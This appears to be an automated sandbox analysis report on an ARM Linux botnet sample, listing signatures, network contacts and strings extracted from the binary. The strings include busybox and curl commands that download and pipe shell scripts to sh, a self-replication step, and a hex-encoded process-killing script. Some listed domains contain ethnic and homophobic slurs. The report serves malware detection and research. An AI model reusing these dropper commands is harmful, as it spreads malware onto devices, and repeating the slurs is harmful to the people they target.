Linux Analysis Report
arm7.elf

Overview

General Information

Sample name: arm7.elf
Analysis ID: 1543107
MD5: 0f7995b15d183d966b4490a2b73ae53f
SHA1: 9cb39f240dd94f86f47a73a5c3cbc2e05ab1c5dc
SHA256: c965af89921eaa1fbb05a5d91b8d9377a9f2b29126bed8f3deb9eb3c2cb603f2
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: arm7.elf ReversingLabs: Detection: 55%
Source: arm7.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic TCP traffic: 192.168.2.13:33474 -> 185.150.24.67:38241
Source: global traffic TCP traffic: 192.168.2.13:50498 -> 45.156.86.24:38241
Source: /tmp/arm7.elf (PID: 5505) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 112.112.179.3
Source: unknown TCP traffic detected without corresponding DNS query: 9.196.252.158
Source: unknown TCP traffic detected without corresponding DNS query: 112.112.179.3
Source: unknown TCP traffic detected without corresponding DNS query: 196.192.68.73
Source: unknown TCP traffic detected without corresponding DNS query: 9.196.252.158
Source: unknown TCP traffic detected without corresponding DNS query: 178.143.73.30
Source: unknown TCP traffic detected without corresponding DNS query: 196.192.68.73
Source: unknown TCP traffic detected without corresponding DNS query: 174.51.30.5
Source: unknown TCP traffic detected without corresponding DNS query: 178.143.73.30
Source: unknown TCP traffic detected without corresponding DNS query: 53.33.157.196
Source: unknown TCP traffic detected without corresponding DNS query: 174.51.30.5
Source: unknown TCP traffic detected without corresponding DNS query: 71.11.53.154
Source: unknown TCP traffic detected without corresponding DNS query: 53.33.157.196
Source: unknown TCP traffic detected without corresponding DNS query: 173.245.201.133
Source: unknown TCP traffic detected without corresponding DNS query: 71.11.53.154
Source: unknown TCP traffic detected without corresponding DNS query: 219.78.11.231
Source: unknown TCP traffic detected without corresponding DNS query: 173.245.201.133
Source: unknown TCP traffic detected without corresponding DNS query: 103.3.18.37
Source: unknown TCP traffic detected without corresponding DNS query: 219.78.11.231
Source: unknown TCP traffic detected without corresponding DNS query: 190.199.174.179
Source: unknown TCP traffic detected without corresponding DNS query: 103.3.18.37
Source: unknown TCP traffic detected without corresponding DNS query: 47.80.129.120
Source: unknown TCP traffic detected without corresponding DNS query: 190.199.174.179
Source: unknown TCP traffic detected without corresponding DNS query: 129.160.173.176
Source: unknown TCP traffic detected without corresponding DNS query: 47.80.129.120
Source: unknown TCP traffic detected without corresponding DNS query: 200.142.241.68
Source: unknown TCP traffic detected without corresponding DNS query: 129.160.173.176
Source: unknown TCP traffic detected without corresponding DNS query: 64.160.25.28
Source: unknown TCP traffic detected without corresponding DNS query: 200.142.241.68
Source: unknown TCP traffic detected without corresponding DNS query: 73.72.20.131
Source: unknown TCP traffic detected without corresponding DNS query: 64.160.25.28
Source: unknown TCP traffic detected without corresponding DNS query: 193.189.164.145
Source: unknown TCP traffic detected without corresponding DNS query: 73.72.20.131
Source: unknown TCP traffic detected without corresponding DNS query: 87.129.45.64
Source: unknown TCP traffic detected without corresponding DNS query: 193.189.164.145
Source: unknown TCP traffic detected without corresponding DNS query: 169.70.2.5
Source: unknown TCP traffic detected without corresponding DNS query: 87.129.45.64
Source: unknown TCP traffic detected without corresponding DNS query: 221.17.87.34
Source: unknown TCP traffic detected without corresponding DNS query: 169.70.2.5
Source: unknown TCP traffic detected without corresponding DNS query: 181.82.147.185
Source: unknown TCP traffic detected without corresponding DNS query: 221.17.87.34
Source: unknown TCP traffic detected without corresponding DNS query: 180.38.98.123
Source: unknown TCP traffic detected without corresponding DNS query: 181.82.147.185
Source: unknown TCP traffic detected without corresponding DNS query: 203.221.252.216
Source: unknown TCP traffic detected without corresponding DNS query: 180.38.98.123
Source: unknown TCP traffic detected without corresponding DNS query: 164.139.71.115
Source: unknown TCP traffic detected without corresponding DNS query: 203.221.252.216
Source: unknown TCP traffic detected without corresponding DNS query: 136.18.198.180
Source: unknown TCP traffic detected without corresponding DNS query: 164.139.71.115
Source: unknown TCP traffic detected without corresponding DNS query: 72.141.180.69
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: arm7.elf String found in binary or memory: http:///curl.sh
Source: arm7.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/84@15/0
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5594/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5594/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5540/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5540/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5530/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5530/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5531/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5531/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5542/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5542/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5532/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5532/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5543/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5543/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5543/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5543/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5533/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5533/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5534/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5534/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5535/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5535/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5536/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5536/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5537/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5537/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5527/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5527/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5538/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5538/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5528/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5528/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5539/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5539/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5518/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5518/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5529/maps Jump to behavior
Source: /tmp/arm7.elf (PID: 5512) File opened: /proc/5529/cmdline Jump to behavior
Source: /tmp/arm7.elf (PID: 5505) Queries kernel information via 'uname': Jump to behavior
Source: arm7.elf, 5505.1.000055d056bcd000.000055d056d1e000.rw-.sdmp, arm7.elf, 5510.1.000055d056bcd000.000055d056cfb000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm7.elf, 5505.1.000055d056bcd000.000055d056d1e000.rw-.sdmp, arm7.elf, 5510.1.000055d056bcd000.000055d056cfb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5505.1.00007ffcfba5f000.00007ffcfba80000.rw-.sdmp, arm7.elf, 5510.1.00007ffcfba5f000.00007ffcfba80000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 5505.1.00007ffcfba5f000.00007ffcfba80000.rw-.sdmp, arm7.elf, 5510.1.00007ffcfba5f000.00007ffcfba80000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs